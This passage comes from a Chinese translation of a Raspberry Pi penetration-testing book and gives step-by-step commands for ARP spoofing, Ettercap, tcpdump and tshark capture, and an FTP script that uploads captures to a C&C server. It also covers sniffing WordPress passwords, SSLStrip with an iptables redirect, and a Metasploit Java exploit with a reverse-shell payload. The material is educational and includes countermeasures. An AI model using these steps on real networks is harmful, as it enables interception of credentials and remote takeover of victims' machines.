brctl addif bridge0 eth0


brctl addif bridge0 eth1






如果没有安装bridge-utils应用，这个桥接命令是没法执行成功的。

3．最后一步是启用包含两端网络接口的新网桥，使用以下命令：



ifconfig bridge0 up






图3-10所示为命令执行时的情况。
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图3-10

图3-11显示了用tcpdump查看目标笔记本电脑浏览互联网时的流量情况。
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图3-11
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部分流量，如SSL网页的部分是加密的。本章后面的部分会用SSLStrip来破解。



另一种从树莓派获取数据的做法是通过中间人攻击，把同一个局域网内其他机器的流量重定向到树莓派，这样就不需要改动其他机器网线的接法了。下面介绍这个做法是如何实现的。
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很多品牌如思科和Juniper的网络交换机，都提供了规避地址解析协议（Address Resolution Protocol，ARP）被污染的措施。因此，在真实的渗透测试环境中，建议采用网络监听
[10]

 的方式来做。



3.4.2　ARP欺骗

第2种用树莓派获得数据的方法是选定同一个网络里的某台机器，并对它进行ARP欺骗，把它的流量引到树莓派来。要这么做需要先下载dsniff软件包，因为默认的Kali Linux ARM映像文件中未包含这个软件。先执行命令：sudo apt-get install dsniff安装相应程序，才能进行ARP欺骗练习。装好dsniff后，就可以执行以下步骤开始ARP欺骗攻击了。
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如果目标机器连接的交换机上启用了规避ARP污染的设置，这种方式会无法奏效。譬如在思科交换机里启用DHCP嗅探（DHCP snooping）和动态ARP检测（Dynamic ARP Inspection）就能防范ARP攻击。在思科交换机中，这些命令大致为ip dhcp snooping和ip arm inspection vlan [vlan号]。



1．要启用IP重定向才能实现ARP欺骗，执行以下命令，使数据包能够往返目标机器和树莓派之间。



 echo 1 > /proc/sys/net/ipv4/ip_forward
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执行以下cat命令，如果显示的是1，则可以确认上面的IP重定向设置已生效：



cat /proc/sys/net/ipv4/ip_forward








2．接着，需要确认树莓派所在网络的默认网关和子网掩码。执行以下命令获得所需信息：



 netstat -nr






从图3-12中可以看出这是个C类网络，所以网络掩码为255.255.255.0，而其默认网关为10.0.2.1。
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图3-12

3．然后，选择确认一个攻击目标。本章前面中提到Nmap这个工具对确定网络中有什么系统非常有帮助。因为只是寻找目标，在这种情况下，使用-R选项做反向域名解析，加入-sn选项以避免执行端口扫描。图3-12中显示默认网关网络是C类，所以扫描整个子网使用Nmap的如下命令。



 nmap -Rsn 10.0.2.0/24






在图3-13中，扫描显示局域网内有一台IP地址为10.0.2.63的Dell笔记本电脑，是可选的攻击对象。而其他的设备都是思科和Meraki网络设备。我们还是把目标设定为那台笔记本电脑吧。
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图3-13

4．接下来要开始污染在目标机器和默认网关之间的ARP缓存，这样才能监听到两者之间的流量。用-i选项指定网络接口是eth0，用-t选项设定目标是10.0.2.63，而默认路由也叫网关是10.0.2.1，由-r选项设定。所以整条命令的执行如下：



 arpspoof -i eth0 -t 10.0.2.63 -r 10.0.2.1







[image: 提示.tif]




在这个使用场景中，使用了树莓派自带的那块有线网卡作攻击。如果使用的是无线USB网卡，在接口那里，很可能就要写成wlan0了。



5．如图3-14所示，在运行着ARP缓存污染命令的窗口中，就可以看到攻击目标的相关流量了。保持这一状态，另外再运行类似Wireshark这样的工具，就可以实现数据捕获，查看具体流量信息了。本章后文会继续介绍这个主题。
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图3-14

3.4.3　Ettercap

有一些可以简化ARP欺骗和网络端口桥接的程序。Ettercap就是1款很受欢迎的中间人攻击套装，它的功能包括上一节介绍的ARP欺骗。其他主要功能包括嗅探实时连接，过滤流经树莓派的内容，以及针对受害者的各种攻击方式。请访问http://ettercap.github.io/ettercap/
 获得此工具的更详细信息。

Kali Linux ARM版中默认没有包括Ettercap。在执行了apt-get install ettercap命令后，可以看到Ettercap有图形界面和纯文本两种安装选项，如图3-15所示。我们选择从图形化界面的Ettercap入手，所以执行apt-get ettercap-graphical安装所需的程序。
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图3-15

Ettercap装好后，输入sudo ettercap -G执行该程序。执行后会出现如图3-16所示的Ettercap图形界面。
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图3-16

Ettercap有两种嗅探的做法。第一种叫Unified sniffing（统一嗅探），也就是会嗅探转发到某块网卡上的所有数据包。使用这种方法可以搭配不同的选项，如选择使用贪婪（promiscuous）模式，也就是通过三层路由过来的数据包即使原本不是发给该主机的，也会自动重定向给它。Ettercap会禁用内核的IP重定向，以避免数据包被内核和Ettercap分别发送两次。
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如果目标机器连接的交换机上启用了规避ARP污染的设置，这种方式会无法奏效。譬如在思科交换机里启用DHCP嗅探（DHCP snooping）和动态ARP检测（Dynamic ARP Inspection）就能防范ARP攻击。在思科交换机里，这些命令大致如下：ip dhcp snooping和ip arm inspection vlan [vlan号]。



第2种嗅探做法叫桥接嗅探，也就要使用两块网卡，并在它们之间做流量转发。这种方式与之前使用brctl命令来桥接两块网卡的做法类似。比起ARP污染的手法，更建议使用这种方式，因为这种方式更隐秘也更容易成功。而高级的交换机上已经能够防范ARP污染攻击了。但桥接的缺点是要把树莓派串接进网络里。
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在检测/防范入侵攻击时，用这种方式设置树莓派也很管用。第5章中会再讨论这个话题。



在本例中，使用Unified sniffing的模式，因为树莓派只用eth0接口进行攻击。点击Sniff菜单，并选择Unified sniffing，如图3-17所示。
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图3-17

Ettercap会提示选择树莓派的哪个网口。本次攻击只用到标准的eth0网卡，所以需要做出选择，如图3-18所示。
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图3-18

Ettercap会在窗口的底部显示关于自身所带插件和协议的详情。同时也会注意在顶层菜单的位置里出现了一些新的选项，如图3-19所示。这里需要扫描网络里的主机。点击Hosts菜单，并选择Scan for hosts来扫描主机。此时Ettercap开始扫描网络中的主机，并同时显示进度条。
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图3-19

扫描的结果会呈现在底部一个文本框内。在这个例子中，共发现了4台主机。点击Hosts菜单里的Host list命令，查看找出来的主机。图3-20所示表明在Host list里有4台主机。
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图3-20

需要选择两台主机作为目标1（Target 1）和目标2（Target 2）。在这个例子中，选择10.0.2.1，也就是默认网关，作为目标2。再选择被攻击者的机器10.0.2.64作为目标1。这样，树莓派就会位于两个目标当中。

要将一个IP地址加为目标，可以在Host List中，点击IP Address部分，然后点击Add to Target X，X就是要加的目标。此时会看到Ettercap在底部的窗口中就显示选择的IP地址已加为目标IP。要确认IP地址是否已加好，还可以点击Targets菜单中的Current Targets命令。图3-21显示主机10.0.2.64已被加为Target 1。
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图3-21

要对选定的目标执行ARP欺骗，可以点击Mitm菜单中的Arp Poisoning命令。这里需要再设置两个额外的选项，一个是Sniff remote connections（嗅探远程连接），另一个是Only poison one-way（只做单向污染），如图3-22所示。选择Sniff remote connections并点击OK按钮。
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图3-22

一旦点击OK按钮后，Ettercap就会在底部的窗口中提示它正在对第1组和第2组列表中的受害目标进行ARP污染攻击，这也就是在主机扫描中选出来的Target 1和Target 2主机。最后一步是点击Start菜单中的Start sniffing命令，如图3-23所示。
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图3-23

树莓派目前就相当于位于目标攻击系统和默认网关之间，后续就可以通过Wireshark这类嗅探软件查看数据流量。Ettercap本身也自带嗅探功能，但它的自带功能远不如Wireshark这类工具，在后面章节会谈到这些工具。在运行Ettercap的时候，如果希望监控ARP欺骗攻击，点击View菜单中的Connections命令。

3.4.4　Ettercap命令行

Ettercap也可以命令行方式执行，这比图形方式所消耗的资源更少。可以执行apt-get install ettercap-text-only命令下载安装命令行版本的Ettercap。

假设想在命令行状态下执行与前面图形界面例子中一样的步骤，去攻击和树莓派同网段的设备。以下命令可以快速实现这个目标：



ettercap -Tqi eth0 -M arp:remote //






图3-24所示的扫描结果与图形界面的颇为接近。
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图3-24

然而，在命令行状态的例子中，实际上攻击的是所有被加到Group 1和Group 2中的主机，也就是网络中所有的机器都是被攻击目标。如上述命令行参数所示，指定监听的是eth0网卡，Ettercap发现了4台主机，这样执行就把4台主机都加进两个组里了。另外，这么做不能解密SSL流量；这部分内容会在本章后面的内容里详述。

要确认Ettercap是否在正常工作，可以使用网络监控软件做测试，如dsniff套装里的urlsnarf程序。如图3-25所示，执行urlsnarf -i [网卡接口]命令。
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图3-25

此时执行urlsnarf的终端窗口中就可以看到网络流量了，也就是在本次攻击中捕获的内容，如图3-26所示。
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图3-26

3.5　Driftnet

如果要查看中间人攻击捕获流量中的图片内容，可以使用Driftnet工具。肯定有更好的方法找到更有趣的数据。然而如果关注的只是图片类信息，Driftnet就非常有用了。Driftnet在Kali Linux ARM中默认未自带，可以执行apt-get install driftnet安装这一程序。

装好后，可以执行driftnet -i eth0启动该程序，此时会打开一个新的空白终端窗口。在中间人攻击中的被攻击方查看的任意图片都会显示在这个窗口中。图3-27所示为某台主机在访问思科站点www.cisco.com
 时，Driftnet捕获到的图像。
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图3-27

3.6　优化网络捕获

在真实的渗透测试练习中，抓取原始的tcpdump数据包或使用类似Wireshark这样的工具会消耗大量的功率，有时候还会把树莓派搞垮甚至令其无法工作。因此，在真实环境中除非能调整捕获的策略，尽量减少树莓派的开销，否则最好避免使用此类工具。以下是如何可控地使用tcpdump来捕获网络流量的步骤。

tcpdump非常有用，当然越了解自己的需求，就越能最大限度地用好树莓派上的这款工具。以下内容只是提供了几个调整的要点，因为本书的目标不是要提供一份全面完整的tcpdump教程。

要考虑的第一件事就是尽量缩小tcpdump的监控范围。有几种方式可供选择。第一种是指定host关键字。host关键字可以过滤出与之匹配的主机名或IP地址的流量。具体用法如下：



tcpdump host www.drchaos.com






要是用IP地址过滤，可以这么写：



tcpdump host 8.8.8.8






还可以指定源端的IP地址、目标端IP地址，以及源端加目标端IP。在以下例子中，同时设定了源端和目标端的IP地址：



tcpdump src 1.1.1.1 dst 2.2.2.2






当然也可以不用限制得太严格，仅把搜索范围设定为源端或目的端地址。

也许还需要搜索属于特定子网的流量。要达到这个目的，可以使用tcpdump里的net命令。但这么做之前，请谨记这几个要点。如果网络非常繁忙，树莓派很可能跟不上流量捕获。因为不但树莓派处理能力有限，而且它的百兆网卡也是受限的瓶颈。如果超出了树莓派的处理能力，最好的结果就是出现网络丢包，无法准确捕获到所期望的结果，最坏的结果就是直接把系统搞垮了。

以下命令用于查看特定子网的流量：



tcpdump net 10.0.1.0/24






还可以像以下例子一样搜索特定协议的流量：



tcpdump port 80,21






尽管名字叫tcpdump，但实际上它可以指定过滤TCP、UDP和ICMP协议。



tcpdump icmp


[11]








还可以设置监控特定的端口，甚至还可以进一步设定这些端口是源端口还是目标端口。以下例子就结合了以上提到的还几种选项：



tcpdump src port 1099 and udp icmp and src port 20






过滤出来的数据可以保存到一个文件中，以便后续分析。要把捕获的数据写到一个文件里，需要使用-w选项，后面跟着要保存的文件名。最好把文件名的后缀设定为.cap：



tcpdump -s 10994 port 80 -w my_capture_file.cap






可以通过tcpdump的-r选项再读取已保存的数据文件，举例如下：



tcpdump -r my_capture_file.cap






然而，还是建议将捕获到的数据文件传给外部的FTP、SCP、HTTPS或其他类型服务器。

3.7　编写tcpdump文件上传脚本

如果希望把网络抓包的数据输出到其他服务器，以免占满树莓派的空间，以下步骤可以将抓包数据输出到外部机器，由它们处理那些比较耗费资源的任务如密码破解或报表生成。

本书其他章节需要输出数据时，以下方法也是适用的。

第2章曾建议搭建一个远程服务器，用作C&C中心主控服务。本章前面也提到要把抓包文件传给FTP服务器。关于FTP的使用，很重要的一点是需要谨记，从本质上来说FTP并不安全。人们选择FTP有各种原因。然而在真实世界的渗透攻击中，使用各种形式的加密，如IPSec通道或者SSH/SFTP传输都是非常必要的。IPSec确保所有的数据传输不会暴露在互联网上，不会被其他人捕获和查看到，只有保障了FTP服务的通信安全，才能确保网络中客户端、服务器，以及中间的传输媒介都是完全可控的。
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大家也许会问，“为什么要如此大费周章，直接使用FTP不就好了吗？”如果捕获到的是敏感信息，就有非常充分的理由需要保护这些数据了。那又会带出另一个问题，为什么一开始的时候打算用FTP来传数据呢？在前面的章节中也提到，使用FTP是因为其在业界中广为人知，也有现成的文件自动传输脚本。当然，使用更安全的协议，也可以实现同等的效果。



下面介绍怎样通过一个简单的FTP脚本获得在远端树莓派上的数据。首先，打开文本编辑器，将文件后缀名设定为.py，并把这个文件存为ftp.py 。


import ftplib                                  #导入python里的ftp模块库
session = ftplib.FTP('server.IP.address.com','USERNAME','PASSWORD')
file = open('*.cap','rb')                    # 准备要发送的文件
session.storbinary('STOR *.cap', file)         # 发送文件
file.close()                                   # 关闭文件和FTP
session.quit()                                 # 退出ftp会话



下一步，需要修改文件的权限。可以执行chmod 777 ftp.py 　命令将其变成可执行文件。

这是一个非常基础的脚本，还需要在代码中设定要传输的文件、FTP服务器的用户名、密码和IP地址。

如果要频繁使用这个脚本，还可以加入更多的选项，如自动监控捕获文件的目录，然后自动用FTP完成上传，甚至可以指定上传的目录。

树莓派的tcpdump抓包输出文件中包含数量众多的数据包，查看和组织起来非常费劲。要实现这个目标，处理此类数据最常用的办法是使用业界标准的图形化网络分析工具Wireshark。下面介绍如何使用这个工具。
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相比众多轻量级的命令行工具，Wireshark需要更多的处理能力，这可能导致树莓派变得不稳定甚至崩溃。因此，建议使用tcpdump来捕获数据，并通过调整参数，用最优化的方式做数据捕获。然后在C&C服务器上用Wireshark查看捕获的数据而不是直接在树莓派上查看。



3.8　Wireshark

Wireshark是当今最受欢迎的开源数据包分析程序之一。它可以用于检测网络故障、分析系统间的通信，而在渗透测试中，如果已经攻进了目标网络，就可以在该网络用Wireshark捕获数据。可以将Wireshark视为有着好看图形界面和灵活数据排序功能的tcpdump。Kali Linux ARM版本默认已自带Wireshark，可以在Kali Linux的应用下拉菜单的“top ten tools（最常用的10款工具）”类别里找到它。
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在实际环境中使用前，需要先在实验室里提前测试一下Wireshark的用法。在真实环境里，Wireshark有时候会把树莓派搞垮。出于这种顾虑，建议在树莓派上运行tcpdump，合理过滤需要抓的包，而把Wireshark运行在远端的C&C服务器上。如果非要用它不可，建议在树莓派上使用tshark，而在C&C服务器上运行完整版的Wireshark。



Wireshark有两种用法。首先看看完整图形界面版。

启动Wireshark时，会看到一条错误信息，然后再有一条告警信息，提醒当前程序是以超级用户执行的，也就是root。只要点击OK就进入主界面了。

图3-28所示为Wireshark的主界面截图。
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图3-28

假设此时通过本章前面介绍的方法，已经有流量在通过树莓派，可以看看实时的数据。第一步就是设定Wireshark打算用哪块网卡捕获数据，这时可以点击界面上的Interface List按钮，弹出的窗口中列出了所有网卡，在其中选择用于查看流量的网卡。

如果树莓派这时是以两块网卡搭起的网桥形式运行的，需要在数据源里选择bridge0网卡接口。如果是用ARP污染的方式获得数据的，这说明只用到一块网卡，可以选择类似eth0这样的网卡接口，具体见图3-29中的例子。选择需要监控的那块网卡前面的核选框，再点击Start按钮即可。
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图3-29
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可以用Wireshark查看之前捕获的数据，如保存在pcap文件中的数据。理想的情况是把树莓派放在网络中做网络捕获，后续再查看捕获内容的时候。由于查看数据包文件时会消耗大量的内存，所以建议只用树莓派查看实时的数据，而不要在树莓派上累积大量数据捕获文件，因为它的存储能力很有效。折中的做法是把数据存储和输出网络捕获到外部C&C服务器上，以适应渗透测试的需求。



一旦选好网卡接口，就会进入Wireshark的实时捕获页面。如果是采用ARP污染的方式从树莓派上获得流量的话，此时会看到大量的数据，其中有很多是ARP污染的数据包，在图3-30上以黑色标识。
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图3-30

Wireshark广受欢迎的一个功能是能迅速地对大量的数据日志进行排序。只要在过滤器（filter）一行中输入特定的主机名、数据包类型等信息，就可以大大缩小感兴趣数据包的范围。举一个攻击的例子。

3.8.1　捕获WordPress密码案例

在这个例子里，启动Wireshark进行实时捕获，同时以管理员身份登入目标系统，这是一套WordPress博客站点。Wireshark可以捕获到主机的登录会话，因此攻击者可以查看捕获的密码。要停止Wireshark捕获，点击红色的正方形按钮。停止后可能要稍微等1分钟，Wireshark的界面才会显示出来。

这时候，可以来找找WordPress的登录信息。登录信息，也就是用户访问一个系统的信息如用户名和密码，通常能在POST请求的数据包中找到。先使用过滤器过滤出所需的流量数据，缩小目标。因此，在本例中可以使用ip.src == 的命令排查出目标端的IP地址，再使用http.request.full_url的命令过滤出HTTP请求登录信息，然后点击“应用”执行过滤。图3-30所示的过滤器就是这条规则的写法，以及执行过滤后输出的情况。
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在输入正确的过滤表达式后，过滤器位置的颜色会变成绿色。Wireshark会校验输入的过滤条件，并自动提示可能的过滤器表达式写法。如果输入的内容有错误，过滤器位置的颜色会变成红色。



使用下面这条命令可以过滤出需要的目标端IP地址:



ip.src == 

[目标IP

] and http.request.full_url
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输入过滤表达式时，为了避免把树莓派搞垮，建议先把暂停网络捕获，等一分钟后再输入过滤表达式。



一旦应用了一条过滤规则后，Wireshark可能要花好几分钟时间才能清除掉不需要的数据。在过滤捕获数据时，会看到Wireshark中会出现一个进度窗口。

可以忽略掉GET类型的数据包，因为这是访问登录页面时加载的网站内容，还可以忽略掉ARP欺骗的数据。想要迅速地浏览数据，可以点击其中一个字段如Protocol（协议）来排序，让该字段按字母数字的方式进行排序即可。排序可能也要花数分钟的时间，并且在计算的时候也会再次弹出进度条。

这里要找的是用户提交数据给服务器时的POST请求行。具体见图3-31中红圈框出的位置。
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图3-31

要查看原始的数据包，可以点击这一行，右键弹出选项后，选择Follow TCP Stream，然后会弹出这个数据流的显示窗口，如图3-32那样显示原始的登录信息。
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图3-32

在图3-32显示的原始数据捕获中，可以看到许多有用的数据（此处对关键信息进行了马赛克处理，因为这是一台真实的服务器）。最值得注意的就是包含“log=”和“pwd=”的那一行，明文显示了用户名和密码。

3.8.2　tshark

tshark
[12]

 是命令行版本的Wireshark。如果要在树莓派里使用Wireshark，tshark是最好的选择。也可以考虑用tshark代替tcpdump做数据捕获。

要运行tshark，只需要在命令行终端中输入tshark，然后选择一个可用的网卡。也可以专门指定监控其中一块网卡，如执行tshark eth0就代表使用eth0端口。图3-33展示了tshark做的基本数据捕获。
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图3-33

如果希望把捕获的数据保存成文件，这样就可以把结果输出到C&C服务器。运行tshark -w [文件名].cap，就能将捕获的数据保存到指定文件。图3-34展示的就是在抓包时将数据保存到capture.cap文件中。只需要按下Ctrl + C组合键就可以终止捕获，执行ls命令可以显示这个文件。
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图3-34

如果一直不停止tshark的捕获，迟早会把树莓派的内存耗光。要避免这一点，可以指定接收数据包的数量，通过增加-c [数量]到命令。本例中，使用tshark -c 500-w capture.cap捕获500个数据包，然后停止运行。对有目标的渗透测试来说，这是最理想的做法，因为可以设定这次捕获需要占用的空间大小，将捕获的数据保存成文件，按照书中之前讲过的步骤将文件上传到C&C服务器。前面在介绍tcpdump的类似功能的时候使用了过滤的脚本，也可以稍微调整过滤的写法，用tshark而不用tcpdump的话，可以多一种数据包捕获工具。

3.9　用SSLStrip破解HTTPS

主机系统抵抗针对Web服务器中间人攻击的主要方法是SSL加密。一般在访问敏感服务如在线银行或购物时会碰到SSL加密。许多浏览器会在界面上显示一把小锁，标识当前是HTTPS状态，提醒最终用户要注意安全。

有赖于安全研究员Moxie Marlinspike的贡献，这一层的防护也可以用SSLStrip绕过。SSLStrip通过代理HTTPS请求从受害者并转为HTTP发送。HTTP流量是未加密的，使它可以被窃听。一旦SSLStrip强制成HTTP连接，攻击者就可以用tcpdump查看未加密的身份信息，如访问Facebook账号时。

之后开发的HTTP严格传输加密（HTTP Strict Transport Security HSTS）规范可以抵御这种攻击。然而，部署HSTS的进展依然缓慢。有些商家如在线银行更倾向于压根不提供HTTP版本的网站，HTTP版本的网站通常用于在受到攻击时返回“未找到网页”的信息提示。但不幸的是，很多其他商业机构是同时提供HTTP和HTTPS版本的网站，以避免给人留下网站没开通的印象，而罔顾了使用SSLStrip做中间人攻击的风险。因为这些及其他各种原因，SSLStrip攻击依然很常见。

再来看看在一台主机和互联网之间的SSLStrip攻击，该主机正准备访问自己的Facebook账号。图3-35显示了在用户和Facebook之间的通信情况。

[image: ..\16-1547 图\3-35.tif]


图3-35

进行中间人SSLStrip攻击时，SSL加密会话会被拦截，返回给用户的是已被替换过的HTTP响应。而用户再发送信息时，并不知道信息是以明文传输，很容易被网络嗅探器查看。

图3-36显示了SSL连接的拦截被SSLStrip。
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图3-36

树莓派系统的Kali Linux使用场景，是先放进网络，然后扫描网段，看哪个系统适宜攻击，再使用本节描述的步骤，攻击者就可以针对内网用户执行中间人SSLStrip攻击，以挖掘用户的密码。

3.9.1　发起SSLStrip攻击

SSLStrip攻击包括以下步骤。

1．Kali Linux ARM版本默认没有安装SSLStrip，因此在实施攻击之前，先得安装这个程序。运行apt-get install sslstrip命令下载该程序。

2．安装了SSLStrip之后，首先要做的是进行ARP欺骗。在本章前面已经做了介绍，这里再快速地回顾一遍ARP欺骗的过程。要总结这些步骤，按如下执行。


	执行echo 1 > /proc/sys/net/ipv4/ip_forward，启用IP重定向。

	使用netstat -nr确认默认网关和子网掩码。

	用Nmap选择网络里的一个目标，使用nmap -Rsn [网络范围/子网掩码]。

	启用ARP中毒缓存，执行arpspoof -i eth0 -t [目标IP] -r [默认网关]。

	这时会显示ARP缓存污染攻击过来的流量。保持该窗口的状态。



只要ARP缓存污染攻击的程序在运行着，就可以看到如图3-37所示的ARP欺骗流量。
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图3-37

3．设置好ARP缓存污染后，打开一个新的终端窗口，用iptables设置端口转发。这样攻击者就可以在TCP 80端口上捕获数据流量，并重定向到SSLStrip的监听端口，监听端口只要是可用的值即可。比如在本例中，将目标端口和重定向的目标端口都设置为8080，并使用如下命令：



 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j 


 REDIRECT --to-port 8080






上面这条命令行中选择的重定向端口必须与SSLStrip里的监听端口保持一致。

图3-38显示的是执行了这条命令之后的场景。
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图3-38
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要禁用该命令中的PREROUTING规则，可以将其中-A换成-D，就可以清除所有实用的规则。




	要flush iptable，可以使用命令iptables -t nat -F

	要确认规则的加载，则可以用iptables -t nat -L
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ARP欺骗有许多可配置选项。可以使用man iptables命令来翻阅其他的选项。



4．发起SSLStrip攻击。在本例中，我们使用TCP 8080作为监听端口。因此，要执行的命令为sslstrip -l 8080，具体见图3-39。
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图3-39

要查看攻击的效果，可以另外再打开一个终端窗口，并输入下述命令：


tail -n 50 -f sslstrip.log.



要测试攻击，可以在被攻击者的系统上打开Web浏览器，并访问使用SSL加密的系统如在线邮箱。返回终端窗口，查看sslstrip.log，会发现用户名和密码以明文显示，见图3-40中的高亮部分。收集的数据放在文本文件里，攻击者可以在之后再翻查该记录文件。
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图3-40
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这种攻击仅在局域网内有效。



总结

在本章中，我们开始把树莓派用于渗透测试中。本章首先讨论了怎样用Nmap来探查网络中的设备端口，以及获得其他可能在渗透中用上的数据，然后研究了如何破解无线网络，这样才可以连入网络，运行Nmap和其他扫描工具集。

完成了对局域网和无线网络的勘察工作后，我们又学习了几种针对网络层的攻击技术。首先学习了中间人攻击，把数据引入到树莓派。然后，讲解了如何通过在一个受信任的源和被攻击者之间监控流量，来破解SSL加密。另外还介绍了调整数据包的捕获和输出数据的方法，以避免搞垮树莓派。

下一章将学习如何利用树莓派攻击系统，以及高级的捕获敏感数据的技巧。




[1]
 　译者注：一家开发基于手机和平板渗透系统的厂商。


[2]
 　译者注：这个IP前的横线应该是多余的，貌似这样没法执行nmap，但原书确实有，理应要去掉。


[3]
 　译者注：对这个地方的章节编号非常存疑。从原书的全局目录看，这个地方是3.1.2小节，属于3.1节，但从内容上看，似应和下一节“破解WPA/WPA2”更相关。所以推测这里应该已经是3.2节，而“破解WPA/WPA2”则应该是3.2.1小节。


[4]
 　译者注：非常怀疑这里是3.2.1小节。


[5]
 　译者注：这条命令好像用的依然是真实的网卡MAC地址，那之前的macchanger似乎意义不大。


[6]
 　译者注：原书的编辑略粗心。这里上文明明说捕获的数据文件叫capturefile.cap，命令这里却对不上。


[7]
 　译者注：原文这里文件类型是.html，地址是错的，实际应该是.htm。


[8]
 　译者注：这个下载也无效。


[9]
 　译者注：这节“捕获网络流量”，按原书的排版格式是属于3.2节“破解WPA/WPA2”里的子小节，但从内容来看，应该是和它平行的一节。此处译者擅自作了章节调整，也直接影响到后续几小节的编号关系，如有欠妥之处，责任全在译者。


[10]
 　译者注：这个地方原文是recommend the network tap approach…，揣摩也许是从交换机的镜像口把流量接给树莓派，但那样会太多了，也许仅是指上面的网桥形式。


[11]
 　译者注：这一句原文在上面的（tcpdump net）后面一行，但那个位置明显和前后文不符，猜测应该在这里。


[12]
 　译者注：Kali默认也没有带tshark，需要使用apt-get install tshark进行安装。








第4章　树莓派攻击

上一章学习了如何设置树莓派用于渗透测试。步骤包括安装Kali Linux、怎样访问目标网络和执行基本的网络探测。本章主要关注在树莓派连入网络后，怎样攻击目标系统。本章的主题包括怎样攻击操作系统，设置社交工程攻击，利用浏览器漏洞以及使用Kali Linux里的工具设置恶意接入点。这里涉及的某些工具已预装在Kali Linux ARM版本映像文件中。当然，还是建议使用apt-get下载最新版本，保持常规的更新。

本章讲解了以下内容：


	如何攻击目标系统；

	Metasploit；

	社会工程；

	社会工程工具包；

	用BeEF钓鱼；

	恶意蜜罐；

	获取用户身份的工具easy-creds。
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受限于树莓派大小和处理能力，树莓派性能有限。强烈建议先在实验室环境里测试后文提到的各种技术，而不是直接放在真实的渗透测试里使用。



4.1　攻击目标系统

攻击系统意味着利用系统的缺陷、故障或漏洞，使系统执行某些超出本意的动作。这类有违本意的行为通常包括攻击者获得系统管理员权限，或被拒绝服务攻击打垮。如果树莓派能放进目标网络里，目标就是让树莓派作内应，以攻击所在网络里的系统。用这种方式做攻击，处于网络边界的防御手段是无法检测到的，除非这些防御机制能根据行为分析同网段内的网络包，或者使用交换机的SPAN（Switch Port Analyzer）机制，把流量镜像到做监控的一台IPS/IDS上。通常运维管理人员对网络边界的防护策略做得很好，但对网内主机之间通信就比较视而不见了。把树莓派放进这样的网络，并在各地进行远程操控，就非常适宜。在本章会看到很多攻击模式的示意图。

完整安装版的Kali Linux拥有非常多的操作系统攻击工具，然而在Kali Linux ARM映像文件里很多都没有包括进去。当然，可以通过apt-get命令安装缺失的程序，但这么安装的程序可能无法正常工作，又或会不断消耗过高的处理能力，导致树莓派无法工作。因此，本章会介绍一些适宜树莓派的特定类型攻击。

下面从最受欢迎的系统攻击框架Metasploit开始，了解如何用它进行攻击。

4.2　Metasploit

Metasploit项目是执行系统攻击代码的事实标准。Metasploit框架包含几百条针对不同平台的攻击脚本。攻击者可在攻击模块中使用载荷数据（payload）、各种编码器和NOP（no-operation，无操作指令）序列产生器，以解决几乎所有系统攻击相关的问题。Metasploit受欢迎的关键原因是它以格式化的脚本形式，实现各种复杂的攻击，因此普通用户也能在短时间内发起像模像样的攻击。关于Metasploit的具体使用，可以浏览它的官方站点www.metasploit.com
 以获得更多信息。

Metasploit Framework有各种工具可用于系统破解，这些工具如下所示。


	
Msfcli：
 这是该框架的命令行方式，用户可以通过该命令行接口调用脚本，发起渗透或攻击。

	
Msfconsole：
 这是使用Metasploit的最常规方式，通过一系列上下文驱动的命令提示，Msfconsole提供了对整个框架功能的访问。

	
Exploits（渗透攻击）：
 Exploits可以攻破受害者的机器，它又分为主动和被动型攻击。主动型攻击会一直运行到获得系统的命令环境（shell）或攻击过程中出现意外错误为止。在图4-1中，展示了一例主动攻击，攻击会一直进行，直到获得受害者机器的Shell运行环境才会停下来。



[image: index-104_1.jpg]


图4-1


	而被动攻击则不同，它会等受害者的机器先连上Metasploit，Metasploit再执行攻击。主动和被动攻击的区别就是主动攻击中Metasploit会先发起连接，而被动攻击中Metasploit是等着别人连过来。

	
Payload
 （攻击载荷）：Metasploit允许攻击者使用独立型（single）、传输器（stager）和传输体（stage）等几种类型的攻击载荷。这些名词是什么意思，以及在什么场合使用，就比较复杂了，已经超出一本树莓派书籍的覆盖范围。建议读者到本节最后提供的Metasploit技术内幕网址自行查阅学习。

	
Database
 ：Metasploit内置支持PostgreSQL数据库系统。数据库系统为攻击者提供了攻击主机、网络和漏洞的追踪管理。在Metasploit使用内置数据库是为了记录自己的渗透测试成果，以便后续整理攻击文档和报告。

	
Meterpreter
 ：这也许是Metasploit里威力最强大的资源了，可以把它看作在内存里动态加载的攻击载荷。根据被攻击系统的OS类型、漏洞的性质，以及要如何运行这种攻击载荷，Meterpreter为攻击者提供了对受害者机器的全套shell和远程控制功能。
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有许多很棒的Metasploit学习书籍和资源。建议阅览Offensive Security公司提供的介绍Metasploit技术内幕的免费网页，地址为http://www.offensive-security.com/metasploit-unleashed/Main_Page
 。



再回到树莓派，Kali Linux ARM版Metasploit的部分模块无法正常使用。因此建议仅在特定攻击场合使用Metasploit。例如，假设树莓派已经在内网，希望在内网找到一个可攻击的目标。寻找局域网系统攻击目标的步骤如下所示

1．使用Nmap扫描网络，确定目标。

2．使用Nmap扫描目标机器上有什么漏洞。

3．根据Nmap确认的漏洞点，用Metasploit对识别出的漏洞进一步渗透利用。

4．对可利用的漏洞发起攻击。

如果成功了，就能获得目标系统的控制权了。

图4-2描述了在目标网络里的攻击场景。
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图4-2

下面再看看用Metasploit破解局域网络里某个系统的流程。

要启动Metasploit，需要在命令行窗口中输入msfconsole命令
[1]

 。树莓派启动Metasploit程序可能要花上几分钟时间。

图4-3为在树莓派上启动Metasploit的情景。
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图4-3

使用msfconsole命令进入Metasploit后，会看到一个新的命令行提示符。下面针对目标系统进行一次攻击。在本例中，演示了一种Java攻击。要实现这个攻击，可以输入use exploit/multi/browser/java_jre17_exec命令。

图4-4显示了前面这条命令的执行结果。
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图4-4

此时命令提示符变为msf exploit了。然后，通过Metasploit发送一项攻击载荷并派生出一个反向shell。反向shell就是攻击者可以在自己的PC上看到命令提示符并输入命令，但实际上是在远程受害者的目标系统上运行命令。使用set PAYLOAD java/shell/reverse_tcp命令来设置攻击载荷，这时候屏幕上会出现PAYLOAD =>
 java/shell/reverse_tcp（也就是选择的载荷名称），证明设置已生效。

要使攻击生效，攻击者必须在载荷中设置选项。可以输入show options命令，查看当前有哪些选项可用。有些是必须选项，有些则不是，这是由show options显示结果里Required字段是否为yes确定的。所举例的这个攻击载荷实际上只需要一个参数，也就是LHOST参数。LHOST为攻击者的本地IP地址。这是告诉Metasploit，把载荷发送给受害者之后，受害者那端要怎样再连回攻击者。要确保受害者机器上能访问到攻击者的IP地址（LHOST），以便攻击执行成功后，能连接到攻击者。

